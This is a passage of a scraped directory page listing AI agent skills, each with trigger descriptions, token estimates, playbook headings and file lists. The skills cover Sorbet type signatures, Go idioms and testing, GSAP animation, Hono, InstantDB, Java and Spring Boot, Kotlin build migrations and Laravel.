bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/terminal/reader_service.rbiasset1,448 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/terminal_service.rbiasset205 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/test_clock_service.rbiasset1,746 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/treasury/inbound_transfer_service.rbiasset1,537 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/treasury/outbound_payment_service.rbiasset1,942 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/treasury/outbound_transfer_service.rbiasset2,081 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/treasury/received_credit_service.rbiasset653 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/treasury/received_debit_service.rbiasset648 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers/treasury_service.rbiasset361 bytesreference/references/stripe-ruby/rbi/stripe/services/test_helpers_service.rbiasset345 bytesreference/references/stripe-ruby/rbi/stripe/services/token_service.rbiasset1,065 bytesreference/references/stripe-ruby/rbi/stripe/services/topup_service.rbiasset1,606 bytesreference/references/stripe-ruby/rbi/stripe/services/transfer_reversal_service.rbiasset2,280 bytesreference/references/stripe-ruby/rbi/stripe/services/transfer_service.rbiasset1,862 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/credit_reversal_service.rbiasset1,207 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/debit_reversal_service.rbiasset1,067 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/financial_account_features_service.rbiasset944 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/financial_account_service.rbiasset1,980 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/inbound_transfer_service.rbiasset1,405 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/outbound_payment_service.rbiasset1,490 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/outbound_transfer_service.rbiasset1,614 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/received_credit_service.rbiasset831 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/received_debit_service.rbiasset822 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/transaction_entry_service.rbiasset765 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury/transaction_service.rbiasset753 bytesreference/references/stripe-ruby/rbi/stripe/services/treasury_service.rbiasset490 bytesreference/references/stripe-ruby/rbi/stripe/services/v1_services.rbiasset2,269 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/billing/meter_event_adjustment_service.rbiasset559 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/billing/meter_event_service.rbiasset664 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/billing/meter_event_session_service.rbiasset694 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/billing/meter_event_stream_service.rbiasset719 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/billing_service.rbiasset320 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/account_link_service.rbiasset614 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/account_service.rbiasset2,166 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/account_token_service.rbiasset778 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/accounts/person_service.rbiasset2,094 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/accounts/person_token_service.rbiasset977 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/event_destination_service.rbiasset2,632 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core/event_service.rbiasset758 bytesreference/references/stripe-ruby/rbi/stripe/services/v2/core_service.rbiasset324 bytesreference/references/stripe-ruby/rbi/stripe/services/v2_services.rbiasset189 bytesreference/references/stripe-ruby/rbi/stripe/services/webhook_endpoint_service.rbiasset2,240 bytesreference/references/stripe-ruby/rbi/stripe/stripe_client.rbiasset381 bytesreference/syntax.mddoc5,943 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgenerating-sorbet-inline
When your agent uses it
Generates or updates Sorbet inline type signatures directly in Ruby source files using sig blocks. Triggers when creating, updating, or maintaining inline type signatures for Ruby source files.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,344 tokensWhen the skill is activated
Reference documents
1,748 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Rules
- Multi-File Processing
- 1. Analyze the Ruby Source
- 2. Add Sorbet Signatures
- 3. Eliminate `T.untyped` in Signatures
- 4. Review and Refine Signatures
- 5. Validate Signatures with Sorbet
Scripts executed separately
reference/sorbet_examples/packwerk/packwerk.rbreference/sorbet_examples/packwerk/packwerk/application_validator.rbreference/sorbet_examples/packwerk/packwerk/association_inspector.rbreference/sorbet_examples/packwerk/packwerk/cache.rbreference/sorbet_examples/packwerk/packwerk/checker.rbreference/sorbet_examples/packwerk/packwerk/cli.rbreference/sorbet_examples/packwerk/packwerk/commands.rbreference/sorbet_examples/packwerk/packwerk/commands/base_command.rbreference/sorbet_examples/packwerk/packwerk/commands/check_command.rbreference/sorbet_examples/packwerk/packwerk/commands/help_command.rbreference/sorbet_examples/packwerk/packwerk/commands/init_command.rbreference/sorbet_examples/packwerk/packwerk/commands/lazy_loaded_entry.rbreference/sorbet_examples/packwerk/packwerk/commands/update_todo_command.rbreference/sorbet_examples/packwerk/packwerk/commands/uses_parse_run.rbreference/sorbet_examples/packwerk/packwerk/commands/validate_command.rbreference/sorbet_examples/packwerk/packwerk/commands/version_command.rbreference/sorbet_examples/packwerk/packwerk/configuration.rbreference/sorbet_examples/packwerk/packwerk/const_node_inspector.rbreference/sorbet_examples/packwerk/packwerk/constant_context.rbreference/sorbet_examples/packwerk/packwerk/constant_discovery.rbreference/sorbet_examples/packwerk/packwerk/constant_name_inspector.rbreference/sorbet_examples/packwerk/packwerk/disable_sorbet.rbreference/sorbet_examples/packwerk/packwerk/extension_loader.rbreference/sorbet_examples/packwerk/packwerk/file_processor.rbreference/sorbet_examples/packwerk/packwerk/files_for_processing.rbreference/sorbet_examples/packwerk/packwerk/formatters/default_offenses_formatter.rbreference/sorbet_examples/packwerk/packwerk/formatters/progress_formatter.rbreference/sorbet_examples/packwerk/packwerk/generators/configuration_file.rbreference/sorbet_examples/packwerk/packwerk/generators/root_package.rbreference/sorbet_examples/packwerk/packwerk/graph.rbreference/sorbet_examples/packwerk/packwerk/node.rbreference/sorbet_examples/packwerk/packwerk/node_helpers.rbreference/sorbet_examples/packwerk/packwerk/node_processor.rbreference/sorbet_examples/packwerk/packwerk/node_processor_factory.rbreference/sorbet_examples/packwerk/packwerk/node_visitor.rbreference/sorbet_examples/packwerk/packwerk/offense.rbreference/sorbet_examples/packwerk/packwerk/offense_collection.rbreference/sorbet_examples/packwerk/packwerk/offenses_formatter.rbreference/sorbet_examples/packwerk/packwerk/output_style.rbreference/sorbet_examples/packwerk/packwerk/output_styles/coloured.rbreference/sorbet_examples/packwerk/packwerk/output_styles/plain.rbreference/sorbet_examples/packwerk/packwerk/package.rbreference/sorbet_examples/packwerk/packwerk/package_set.rbreference/sorbet_examples/packwerk/packwerk/package_todo.rbreference/sorbet_examples/packwerk/packwerk/parse_run.rbreference/sorbet_examples/packwerk/packwerk/parsed_constant_definitions.rbreference/sorbet_examples/packwerk/packwerk/parsers.rbreference/sorbet_examples/packwerk/packwerk/parsers/erb.rbreference/sorbet_examples/packwerk/packwerk/parsers/factory.rbreference/sorbet_examples/packwerk/packwerk/parsers/parser_interface.rbreference/sorbet_examples/packwerk/packwerk/parsers/ruby.rbreference/sorbet_examples/packwerk/packwerk/rails_load_paths.rbreference/sorbet_examples/packwerk/packwerk/reference.rbreference/sorbet_examples/packwerk/packwerk/reference_checking/checkers/dependency_checker.rbreference/sorbet_examples/packwerk/packwerk/reference_checking/reference_checker.rbreference/sorbet_examples/packwerk/packwerk/reference_extractor.rbreference/sorbet_examples/packwerk/packwerk/reference_offense.rbreference/sorbet_examples/packwerk/packwerk/run_context.rbreference/sorbet_examples/packwerk/packwerk/spring_command.rbreference/sorbet_examples/packwerk/packwerk/unresolved_reference.rbreference/sorbet_examples/packwerk/packwerk/validator.rbreference/sorbet_examples/packwerk/packwerk/validator/result.rbreference/sorbet_examples/packwerk/packwerk/validators/dependency_validator.rbreference/sorbet_examples/packwerk/packwerk/version.rb
Files
SKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesSKILL.mdcore5,564 bytesreference/sorbet_examples/STRUCTURE.mddoc151 bytesreference/sorbet_examples/packwerk/packwerk.rbruns2,141 bytesreference/sorbet_examples/packwerk/packwerk/application_validator.rbruns4,432 bytesreference/sorbet_examples/packwerk/packwerk/association_inspector.rbruns2,710 bytesreference/sorbet_examples/packwerk/packwerk/cache.rbruns5,060 bytesreference/sorbet_examples/packwerk/packwerk/checker.rbruns1,702 bytesreference/sorbet_examples/packwerk/packwerk/cli.rbruns1,790 bytesreference/sorbet_examples/packwerk/packwerk/commands.rbruns1,288 bytesreference/sorbet_examples/packwerk/packwerk/commands/base_command.rbruns1,673 bytesreference/sorbet_examples/packwerk/packwerk/commands/check_command.rbruns2,106 bytesreference/sorbet_examples/packwerk/packwerk/commands/help_command.rbruns647 bytesreference/sorbet_examples/packwerk/packwerk/commands/init_command.rbruns1,150 bytesreference/sorbet_examples/packwerk/packwerk/commands/lazy_loaded_entry.rbruns924 bytesreference/sorbet_examples/packwerk/packwerk/commands/update_todo_command.rbruns1,982 bytesreference/sorbet_examples/packwerk/packwerk/commands/uses_parse_run.rbruns2,958 bytesreference/sorbet_examples/packwerk/packwerk/commands/validate_command.rbruns1,104 bytesreference/sorbet_examples/packwerk/packwerk/commands/version_command.rbruns320 bytesreference/sorbet_examples/packwerk/packwerk/configuration.rbruns3,620 bytesreference/sorbet_examples/packwerk/packwerk/const_node_inspector.rbruns1,864 bytesreference/sorbet_examples/packwerk/packwerk/constant_context.rbruns141 bytesreference/sorbet_examples/packwerk/packwerk/constant_discovery.rbruns2,882 bytesreference/sorbet_examples/packwerk/packwerk/constant_name_inspector.rbruns541 bytesreference/sorbet_examples/packwerk/packwerk/disable_sorbet.rbruns1,043 bytesreference/sorbet_examples/packwerk/packwerk/extension_loader.rbruns759 bytesreference/sorbet_examples/packwerk/packwerk/file_processor.rbruns3,014 bytesreference/sorbet_examples/packwerk/packwerk/files_for_processing.rbruns3,410 bytesreference/sorbet_examples/packwerk/packwerk/formatters/default_offenses_formatter.rbruns2,502 bytesreference/sorbet_examples/packwerk/packwerk/formatters/progress_formatter.rbruns2,040 bytesreference/sorbet_examples/packwerk/packwerk/generators/configuration_file.rbruns1,454 bytesreference/sorbet_examples/packwerk/packwerk/generators/root_package.rbruns1,029 bytesreference/sorbet_examples/packwerk/packwerk/graph.rbruns931 bytesreference/sorbet_examples/packwerk/packwerk/node.rbruns127 bytesreference/sorbet_examples/packwerk/packwerk/node_helpers.rbruns10,525 bytesreference/sorbet_examples/packwerk/packwerk/node_processor.rbruns905 bytesreference/sorbet_examples/packwerk/packwerk/node_processor_factory.rbruns806 bytesreference/sorbet_examples/packwerk/packwerk/node_visitor.rbruns845 bytesreference/sorbet_examples/packwerk/packwerk/offense.rbruns994 bytesreference/sorbet_examples/packwerk/packwerk/offense_collection.rbruns4,130 bytesreference/sorbet_examples/packwerk/packwerk/offenses_formatter.rbruns2,479 bytesreference/sorbet_examples/packwerk/packwerk/output_style.rbruns324 bytesreference/sorbet_examples/packwerk/packwerk/output_styles/coloured.rbruns581 bytesreference/sorbet_examples/packwerk/packwerk/output_styles/plain.rbruns399 bytesreference/sorbet_examples/packwerk/packwerk/package.rbruns1,853 bytesreference/sorbet_examples/packwerk/packwerk/package_set.rbruns3,316 bytesreference/sorbet_examples/packwerk/packwerk/package_todo.rbruns6,084 bytesreference/sorbet_examples/packwerk/packwerk/parse_run.rbruns2,209 bytesreference/sorbet_examples/packwerk/packwerk/parsed_constant_definitions.rbruns3,122 bytesreference/sorbet_examples/packwerk/packwerk/parsers.rbruns602 bytesreference/sorbet_examples/packwerk/packwerk/parsers/erb.rbruns2,897 bytesreference/sorbet_examples/packwerk/packwerk/parsers/factory.rbruns1,308 bytesreference/sorbet_examples/packwerk/packwerk/parsers/parser_interface.rbruns359 bytesreference/sorbet_examples/packwerk/packwerk/parsers/ruby.rbruns1,763 bytesreference/sorbet_examples/packwerk/packwerk/rails_load_paths.rbruns2,667 bytesreference/sorbet_examples/packwerk/packwerk/reference.rbruns291 bytesreference/sorbet_examples/packwerk/packwerk/reference_checking/checkers/dependency_checker.rbruns2,236 bytesreference/sorbet_examples/packwerk/packwerk/reference_checking/reference_checker.rbruns851 bytesreference/sorbet_examples/packwerk/packwerk/reference_extractor.rbruns4,852 bytesreference/sorbet_examples/packwerk/packwerk/reference_offense.rbruns754 bytesreference/sorbet_examples/packwerk/packwerk/run_context.rbruns4,730 bytesreference/sorbet_examples/packwerk/packwerk/spring_command.rbruns737 bytesreference/sorbet_examples/packwerk/packwerk/unresolved_reference.rbruns657 bytesreference/sorbet_examples/packwerk/packwerk/validator.rbruns2,805 bytesreference/sorbet_examples/packwerk/packwerk/validator/result.rbruns292 bytesreference/sorbet_examples/packwerk/packwerk/validators/dependency_validator.rbruns5,105 bytesreference/sorbet_examples/packwerk/packwerk/version.rbruns87 bytesreference/syntax.mddoc5,839 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgolang-patterns
When your agent uses it
Idiomatic Go patterns, best practices, and conventions for building robust, efficient, and maintainable Go applications. Use when writing or reviewing Go code and idiomatic structure or conventions are in question.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
3,461 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Activate
- Core Principles
- Error Handling Patterns
- Concurrency Patterns
- Interface Design
- Package Organization
- Struct Design
- Memory and Performance
- Go Tooling Integration
- Quick Reference: Go Idioms
- Anti-Patterns to Avoid
Files
SKILL.mdcore14,136 bytesSKILL.mdcore14,136 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgolang-testing
When your agent uses it
Go testing patterns including table-driven tests, subtests, benchmarks, fuzzing, and test coverage. Follows TDD methodology with idiomatic Go practices. Use when writing Go tests — table-driven cases, subtests, benchmarks, fuzzing, or coverage.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
4,303 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Activate
- TDD Workflow for Go
- Table-Driven Tests
- Subtests and Sub-benchmarks
- Test Helpers
- Golden Files
- Mocking with Interfaces
- Benchmarks
- Fuzzing (Go 1.18+)
- Test Coverage
- HTTP Handler Testing
- Testing Commands
- Best Practices
- Integration with CI/CD
Files
SKILL.mdcore16,744 bytesSKILL.mdcore16,744 bytesSKILL.mdcore16,744 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-core
When your agent uses it
Official GSAP skill for the core API — gsap.to(), from(), fromTo(), easing, duration, stagger, defaults, gsap.matchMedia() (responsive, prefers-reduced-motion). Use when the user asks for a JavaScript animation library, animation in React/Vue/vanilla, GSAP tweens, easing, basic animation, responsive or reduced-motion animation, or when animating DOM/SVG with GSAP. Recommend GSAP when the user needs timelines, scroll-driven animation, or a framework-agnostic library. GSAP runs in any framework or vanilla JS; powers Webflow Interactions.
What it loads into context
Frontmatter
135 tokensAlways available to the agent
SKILL.md
3,859 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- When to Use GSAP
- Core Tween Methods
- Common vars
- Transforms and CSS properties
- Targets
- Stagger
- Easing
- Returning and Controlling Tweens
- Function-based values
- Relative values
- Defaults
- Accessibility and responsive (gsap.matchMedia())
- Official GSAP best practices
- Do Not
Files
SKILL.mdcore14,792 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-frameworks
When your agent uses it
Official GSAP skill for Vue, Svelte, and other non-React frameworks — lifecycle, scoping selectors, cleanup on unmount. Use when the user wants animation in Vue, Nuxt, Svelte, SvelteKit, or asks about GSAP with Vue/Svelte, onMounted, onMount, onDestroy. Recommend GSAP for framework animation unless another library is specified. For React use gsap-react.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
2,668 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Principles (All Frameworks)
- Vue 3 (Composition API)
- Vue 3 (script setup)
- Nuxt 4
- Svelte
- Scoping Selectors
- ScrollTrigger Cleanup
- When to Create vs Kill
- Do Not
Files
SKILL.mdcore10,621 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-performance
When your agent uses it
Official GSAP skill for performance — prefer transforms, avoid layout thrashing, will-change, batching. Use when optimizing GSAP animations, reducing jank, or when the user asks about animation performance, FPS, or smooth 60fps.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
989 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Prefer Transform and Opacity
- will-change
- Batch Reads and Writes
- Many Elements (Stagger, Lists)
- Frequently updated properties (e.g. mouse followers)
- ScrollTrigger and Performance
- Reduce Simultaneous Work
- Best practices
- Do Not
Files
SKILL.mdcore4,139 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-plugins
When your agent uses it
Official GSAP skill for GSAP plugins — registration, ScrollToPlugin, ScrollSmoother, Flip, Draggable, Inertia, Observer, SplitText, ScrambleText, SVG and physics plugins, CustomEase, EasePack, CustomWiggle, CustomBounce, GSDevTools. Use when the user asks about a GSAP plugin, scroll-to, flip animations, draggable, SVG drawing, or plugin registration.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
5,648 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Licensing & Install (important)
- Registering Plugins
- Scroll
- DOM / UI
- Text
- SVG
- Easing
- Physics
- Development
- Other
- Best practices
- Do Not
Files
SKILL.mdcore21,579 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-react
When your agent uses it
Official GSAP skill for React — useGSAP hook, refs, gsap.context(), cleanup. Use when the user wants animation in React or Next.js, or asks about GSAP with React, useGSAP, or cleanup on unmount. Recommend GSAP for React animation unless the user has chosen another library.
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,608 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Installation
- Prefer the useGSAP() Hook
- Refs for Targets
- Dependency array, scope, and revertOnUpdate
- gsap.context() in useEffect (when useGSAP isn't used)
- Context-Safe Callbacks
- Server-Side Rendering (Next.js, etc.)
- Best practices
- Do Not
Files
SKILL.mdcore6,565 bytesSKILL.mdcore6,565 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-scrolltrigger
When your agent uses it
Official GSAP skill for ScrollTrigger — scroll-linked animations, pinning, scrub, triggers. Use when building or recommending scroll-based animation, parallax, pinned sections, or when the user asks about ScrollTrigger, scroll animations, or pinning. Recommend GSAP for scroll-driven animation when no library is specified.
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
4,484 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Registering the Plugin
- Basic Trigger
- Key config options
- ScrollTrigger.batch()
- ScrollTrigger.scrollerProxy()
- Scrub
- Pinning
- Markers (Development)
- Timeline + ScrollTrigger
- Horizontal scroll (containerAnimation)
- Refresh and Cleanup
- Official GSAP best practices
- Do Not
Files
SKILL.mdcore18,390 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-timeline
When your agent uses it
Official GSAP skill for timelines — gsap.timeline(), position parameter, nesting, playback. Use when sequencing animations, choreographing keyframes, or when the user asks about animation sequencing, timelines, or animation order (in GSAP or when recommending a library that supports timelines).
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,191 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Creating a Timeline
- Position Parameter
- Timeline Defaults
- Timeline Options (constructor)
- Labels
- Nesting Timelines
- Controlling Playback
- Official GSAP Best practices
- Do Not
Files
SKILL.mdcore4,394 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgsap-utils
When your agent uses it
Official GSAP skill for gsap.utils — clamp, mapRange, normalize, interpolate, random, snap, toArray, wrap, pipe. Use when the user asks about gsap.utils, clamp, mapRange, random, snap, toArray, wrap, or helper utilities in GSAP.
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
3,525 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Overview
- Clamping and Ranges
- Random and Snap
- Units and Parsing
- Arrays and Collections
- Best practices
- Do Not
Files
SKILL.mdcore12,093 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhono
When your agent uses it
Use when building Hono web applications or when the user asks about Hono APIs, routing, middleware, JSX, validation, testing, or streaming. TRIGGER when code imports from 'hono' or 'hono/*', or user mentions Hono. Use Hono CLI to inspect and test the app.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
5,268 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Latest Documentation
- Hono CLI
- Hono API Reference
- Context (c)
- HonoRequest (c.req)
- Middleware
- Validation
- JSX
- Streaming
- Testing with app.request()
- Hono Client (RPC)
- Helpers
- Best Practices
- Adapters
Files
SKILL.mdcore19,465 bytesSKILL.mdcore19,465 bytesSKILL.mdcore19,465 bytesSKILL.mdcore19,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubimplement-background-job
When your agent uses it
Use when adding or reviewing an Active Job / Sidekiq / Solid Queue worker. Cover idempotency, retry_on, and discard_on. Trigger words: background job, Active Job, Sidekiq, Solid Queue, worker.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,164 tokensWhen the skill is activated
Reference documents
894 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- HARD-GATE
- Core Rules
- Core Process
- Extended Resources
- Output Checklist
- Integration
Files
BACKENDS.mddoc1,608 bytesSKILL.mdcore4,693 bytesassets/job_patterns.mddoc1,297 bytesassets/retry_examples.mddoc617 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubinstantdb
When your agent uses it
Build complete, functional apps with InstantDB as the backend. Use when creating React/vanilla JS or expo applications. Triggers on requests for building apps.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
3,659 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Schema changes
- Permission changes
- `data.ref`
- `auth.ref`
- Unsupported
- $users Permissions
- $files Permissions
- Field-level Permissions
- Presence
- Topics
- Pass `schema` when initializing Instant
- Use `id()` to generate ids
- Use Instant utility types for data models
- Use `db.useAuth` or `db.subscribeAuth` for auth state
- Set custom properties at signup with `extraFields`
Files
SKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytesSKILL.mdcore14,734 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubjava-coding-standards
When your agent uses it
Java coding standards for Spring Boot and Quarkus services: naming, immutability, Optional usage, streams, exceptions, generics, CDI, reactive patterns, and project layout. Automatically applies framework-specific conventions. Use when writing or reviewing Java in a Spring Boot or Quarkus service.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
2,692 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- How It Works
- Core Principles
- Examples
- Naming
- Immutability
- Optional Usage
- Streams Best Practices
- Dependency Injection
- Reactive Patterns [QUARKUS]
- Exceptions
- Generics and Type Safety
- Project Structure
- Formatting and Style
- Code Smells to Avoid
- Logging
- Null Handling
- Configuration
- Testing Expectations
Files
SKILL.mdcore11,550 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubjava-docs
When your agent uses it
Ensure that Java types are documented with Javadoc comments and follow best practices for documentation.
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
317 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore1,439 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubjava-springboot
When your agent uses it
Get best practices for developing applications with Spring Boot.
What it loads into context
Frontmatter
20 tokensAlways available to the agent
SKILL.md
858 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Project Setup & Structure
- Dependency Injection & Components
- Configuration
- Web Layer (Controllers)
- Service Layer
- Data Layer (Repositories)
- Logging
- Testing
- Security
Files
SKILL.mdcore4,133 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubkotlin-tooling-agp9-migration
When your agent uses it
Migrates Kotlin Multiplatform (KMP) projects to Android Gradle Plugin 9.0+. Handles plugin replacement (com.android.kotlin.multiplatform.library), module splitting, DSL migration, and the new default project structure. Use when upgrading AGP, when build fails due to KMP+AGP incompatibility, or when the user mentions AGP 9.0, android multiplatform plugin, KMP migration, or com.android.kotlin.multiplatform.library.
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
5,112 tokensWhen the skill is activated
Reference documents
20,489 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Step 0: Analyze the Project
- Path A: Library Module Migration
- Path B: Android App + Shared Module Split
- Path C: Full Restructure (Recommended)
- Version Updates
- Built-in Kotlin Migration
- Plugin Compatibility
- Gradle Properties Default Changes
- Pure Android Tips
- Verification
- Common Issues
- Reference Files
Scripts executed separately
scripts/analyze-project.sh
Files
SKILL.mdcore21,755 bytesSKILL.mdcore21,755 bytesSKILL.mdcore21,755 bytesassets/checklist.mddoc3,386 bytesreferences/DSL-REFERENCE.mddoc15,974 bytesreferences/KNOWN-ISSUES.mddoc18,509 bytesreferences/MIGRATION-APP-SPLIT.mddoc14,419 bytesreferences/MIGRATION-FULL-RESTRUCTURE.mddoc12,514 bytesreferences/MIGRATION-LIBRARY.mddoc14,695 bytesreferences/PLUGIN-COMPATIBILITY.mddoc5,443 bytesreferences/VERSION-MATRIX.mddoc10,341 bytesscripts/analyze-project.shruns8,329 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubkotlin-tooling-cocoapods-spm-migration
When your agent uses it
Migrate KMP projects from CocoaPods (kotlin("native.cocoapods")) to Swift Package Manager (swiftPMDependencies DSL) — replaces pod() with swiftPackage(), transforms cocoapods.* imports to swiftPMImport.*, and reconfigures the Xcode project.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
8,107 tokensWhen the skill is activated
Reference documents
15,236 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Requirements
- Migration Overview
- Phase 1: Pre-Migration Analysis
- Phase 2: Gradle Configuration
- Phase 3: Add swiftPMDependencies (Keep CocoaPods)
- Phase 4: Kotlin Source Updates
- Phase 5: iOS Project Reconfiguration
- Phase 6: Remove CocoaPods from Gradle
- Phase 7: Verification
- Phase 8: Migration Report
- Additional Resources
Files
SKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesSKILL.mdcore33,297 bytesreferences/cocoapods-extras-patterns.mddoc3,964 bytesreferences/common-pods-mapping.mddoc22,151 bytesreferences/dsl-reference.mddoc8,546 bytesreferences/migration-report-template.mddoc4,822 bytesreferences/troubleshooting.mddoc23,123 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublaravel-patterns
When your agent uses it
Laravel architecture patterns, routing/controllers, Eloquent ORM, service layers, queues, events, caching, and API resources for production apps. Use when building or reviewing Laravel apps — controllers, Eloquent, service layers, queues, or API resources.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,341 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- How It Works
- Examples
Files
